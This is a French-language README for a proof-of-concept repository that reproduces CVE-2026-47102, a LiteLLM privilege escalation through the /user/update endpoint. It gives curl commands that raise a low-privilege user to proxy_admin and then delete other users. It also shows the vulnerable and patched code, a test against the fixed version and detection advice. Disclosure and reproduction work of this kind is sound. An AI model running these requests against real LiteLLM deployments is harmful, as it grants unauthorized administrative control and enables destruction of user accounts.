
Le code pour reproduire personnellement la vulnérabilité correspondante
/user/updateLiteLLM v1.83.7 (versions antérieures à v1.83.10) : le point de terminaison
/user/updatepermet aux utilisateurs à faibles privilèges disposant d'un accès à ce point de terminaison de modifier le champuser_roleenproxy_adminlors de la mise à jour de leur propre compte, réalisant ainsi une élévation de privilèges non autorisée.
| Champ | Valeur |
|---|---|
| CVE | CVE-2026-47102 |
| CVSS v3.1 | 8.8 (HIGH) — AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H |
| CWE | CWE-863 (Incorrect Authorization) |
| Versions affectées | LiteLLM < 1.83.10 (confirmé en v1.83.7) |
| Corrigé | v1.83.10+ (ajout de la vérification des autorisations de modification du champ user_role) |
| Publié | 2026-05-21 |
| Découvert par | Fenix Qiao (13ph03nix) — Obsidian Security |
| Liens | NVD |
Le point de terminaison /user/update de LiteLLM est utilisé pour mettre à jour les attributs des utilisateurs. Dans les versions affectées, la fonction can_user_call_user_update() de /user/update vérifie si l'utilisateur est autorisé à mettre à jour l'utilisateur spécifié (elle permet à un utilisateur de mettre à jour ses propres enregistrements), mais n'impose aucune restriction sur les champs modifiables.
Cela signifie que tout utilisateur capable d'accéder au point de terminaison /user/update (par exemple, un utilisateur à qui l'administrateur a accordé la permission de cette route, ou un attaquant ayant obtenu l'accès à ce point de terminaison via une autre vulnérabilité) peut élever son propre rôle à proxy_admin en modifiant son champ user_role, obtenant ainsi un accès complet à tous les points de terminaison d'administration.
L'administrateur crée une clé API avec la permission de route /user/update pour internal_user
→ internal_user obtient un accès au niveau de la route
→ POST /user/update {"user_id": "...", "user_role": "proxy_admin"} ← CVE-2026-47102
→ élévation du rôle vers proxy_admin
→ GET /user/list (vérification de l'accès administrateur)
Les deux vulnérabilités peuvent être enchaînées : CVE-2026-47101 sert à créer une clé à route wildcard (accès à
/user/update), et CVE-2026-47102 à élever son propre rôle àproxy_admin.
# 1. Démarrer PostgreSQL + LiteLLM vulnérable (v1.83.7-stable)
docker compose up -d litellm
# Attendre que le service soit prêt (environ 10-30 secondes)
sleep 15
# Vérifier les journaux du conteneur
docker logs litellm-47102-privesc 2>&1 | tail -10
La sortie attendue doit contenir des journaux de démarrage réussi, par exemple Uvicorn running on http://0.0.0.0:4000.
Utilisez la master key pour créer un compte internal_user à faibles privilèges :
curl -s -X POST http://localhost:4002/user/new \
-H "Authorization: Bearer sk-litellm-master-key" \
-H "Content-Type: application/json" \
-d '{"role": "internal_user"}'
Sortie attendue :
{"user_id":"xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx","key":"sk-xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"}
L'administrateur crée pour internal_user une clé API avec un accès à la route /user/update. C'est la manière typique d'obtenir un accès au point de terminaison /user/update dans un environnement réel :
# Créer une clé avec la route /user/update en utilisant la master key
curl -s -X POST http://localhost:4002/key/generate \
-H "Authorization: Bearer sk-litellm-master-key" \
-H "Content-Type: application/json" \
-d '{"allowed_routes": ["/user/update"], "user_id": "your-user-id"}'
Sortie attendue :
{"key":"sk-xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx","allowed_routes":["/user/update"],"user_id":"xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx"}
Utilisez la clé avec la permission de route /user/update obtenue à l'étape précédente pour élever le rôle de l'utilisateur à proxy_admin :
curl -s -X POST http://localhost:4002/user/update \
-H "Authorization: Bearer sk-route-key" \
-H "Content-Type: application/json" \
-d '{"user_id": "your-user-id", "user_role": "proxy_admin"}'
Sortie attendue :
{"user_id":"xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx","data":{"user_role":"proxy_admin",...}}
⚠️ Point de vulnérabilité :
user_roleest passé deinternal_useràproxy_admin! Le point de terminaison/user/updatepermet à l'utilisateur de modifier son propre champuser_role, sans aucune restriction au niveau des champs.
Vérifiez via le point de terminaison /user/list que l'élévation de rôle a pris effet (en utilisant la clé API de l'internal_user d'origine, qui n'a aucune restriction de route ; une fois promu proxy_admin, l'utilisateur obtient automatiquement les privilèges d'administration) :
# Utiliser la clé promue proxy_admin (clé internal_user d'origine, sans restriction de route)
curl -s -X GET http://localhost:4002/user/list \
-H "Authorization: Bearer sk-internal-user-key" \
-H "Content-Type: application/json"
Sortie attendue :
{"users":[{"user_id":"xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx","user_role":"proxy_admin",...}]}
En exploitant les privilèges proxy_admin obtenus, vous pouvez supprimer n'importe quel utilisateur via /user/delete (en utilisant également la clé API de l'internal_user d'origine) :
curl -s -X POST http://localhost:4002/user/delete \
-H "Authorization: Bearer sk-internal-user-key" \
-H "Content-Type: application/json" \
-d '{"user_ids": ["user-id-to-delete"]}'
Sortie attendue :
1
Les étapes ci-dessus sont intégrées dans demo.sh et peuvent être exécutées directement :
# Reproduction complète (inclut la comparaison version vulnérable + version corrigée)
bash demo.sh
Démarrez la version corrigée (v1.83.10-stable) pour vérifier que CVE-2026-47102 a été corrigée :
docker compose --profile fixed up -d litellm-fixed
Créer un internal_user :
FIXED_USER_RESP=$(curl -s -X POST http://localhost:4003/user/new \
-H "Authorization: Bearer sk-litellm-master-key" \
-H "Content-Type: application/json" \
-d '{"role": "internal_user"}')
FIXED_USER_ID=$(echo "$FIXED_USER_RESP" | python3 -c "import sys,json; print(json.load(sys.stdin).get('user_id',''))")
Créer une clé avec la route /user/update :
FIXED_ROUTE_KEY=$(curl -s -X POST http://localhost:4003/key/generate \
-H "Authorization: Bearer sk-litellm-master-key" \
-H "Content-Type: application/json" \
-d "{\"allowed_routes\": [\"/user/update\"], \"user_id\": \"$FIXED_USER_ID\"}" | \
python3 -c "import sys,json; print(json.load(sys.stdin).get('key',''))")
Tentez d'élever les privilèges (blocage attendu) :
curl -s -X POST http://localhost:4003/user/update \
-H "Authorization: Bearer $FIXED_ROUTE_KEY" \
-H "Content-Type: application/json" \
-d "{\"user_id\": \"$FIXED_USER_ID\", \"user_role\": \"proxy_admin\"}"
Sortie attendue (la version corrigée bloque la requête non autorisée) :
{"error":{"message":"Only proxy admins can modify user roles.","type":"auth_error","code":"403"}}
Comparaison avec la version vulnérable :
| Scénario de test | Version vulnérable (v1.83.7) | Version corrigée (v1.83.10) |
|---|---|---|
| La clé de route modifie user_role | ✅ Élévation réussie vers proxy_admin | ❌ Bloqué ("Only proxy admins can modify user roles.") |
| Accès à /user/list | ✅ Liste des utilisateurs obtenue avec succès | ❌ Bloqué |
La cause racine de la vulnérabilité se trouve dans la fonction can_user_call_user_update() du point de terminaison /user/update :
/user/update — Absence de vérification des permissions au niveau des champs# Code vulnérable — internal_user_endpoints.py:1197-1208
def can_user_call_user_update(user_api_key_dict, user_info):
if user_api_key_dict.user_role == LitellmUserRoles.PROXY_ADMIN.value:
return True # L'administrateur peut mettre à jour n'importe quel utilisateur
elif user_api_key_dict.user_id == user_info.user_id:
return True # ❌ L'utilisateur peut mettre à jour ses propres enregistrements — y compris le champ user_role !
return False
Correctif (v1.83.10+) :
def can_user_call_user_update(user_api_key_dict, user_info, data):
if user_api_key_dict.user_role == LitellmUserRoles.PROXY_ADMIN.value:
return True # L'administrateur peut toujours mettre à jour n'importe quel utilisateur et n'importe quel champ
elif user_api_key_dict.user_id == user_info.user_id:
# Limiter les champs modifiables par les non-administrateurs
allowed_fields = {"metadata", "display_name", "email"}
requested_fields = set(data.keys())
forbidden = requested_fields - allowed_fields
if forbidden:
raise ForbiddenError(f"Cannot modify fields: {forbidden}")
return True
return False
L'attaquant doit disposer d'une clé API capable d'accéder au point de terminaison /user/update. Celle-ci peut être obtenue des manières suivantes :
/user/update/key/generate pour créer une clé wildcard/user/update dans certaines configurationsÉtape 1 : Obtenir une clé API avec la permission de route /user/update
Étape 2 : Appeler /user/update pour élever le rôle :
POST /user/update
Authorization: Bearer sk-route-key
Content-Type: application/json
{"user_id": "target-user-id", "user_role": "proxy_admin"}
Étape 3 : Vérifier les privilèges d'administrateur :
GET /user/list
Authorization: Bearer sk-route-key
La version corrigée ajoute une vérification des permissions au niveau des champs dans /user/update :
metadatauser_role — Seul proxy_admin peut modifier les rôles des utilisateursMessage d'erreur : "Only proxy admins can modify user roles."
CVE-2026-47102/
├── README.md # Ce fichier
├── CVE-2026-47102_漏洞复现报告.docx # Rapport de reproduction (chinois)
├── docker-compose.yml # PostgreSQL + LiteLLM vulnérable/corrigé
├── config.yaml # Configuration LiteLLM avec connexion à la base de données
├── requirements.txt # Dépendances Python
├── demo.sh # Script de reproduction en une commande
├── exploit/
│ ├── exploit.py # Script d'exploitation Python
│ └── payload.py # Générateurs de payloads
├── docs/
└── screenshots/
/user/update avec des modifications de user_role pour détecter toute activité anormaleAvertissement : Ce contenu est fourni uniquement à des fins éducatives et de tests de sécurité autorisés.
| Élément de comparaison | CVE-2026-47101 | CVE-2026-47102 |
|---|
| Focalisation de la vulnérabilité | /key/generate ne valide pas allowed_routes | /user/update manque de permissions au niveau des champs |
| Prérequis de l'attaque | internal_user peut appeler directement /key/generate | Nécessite d'obtenir d'abord l'accès à la route /user/update |
| Version corrigée | v1.83.14 | v1.83.10 |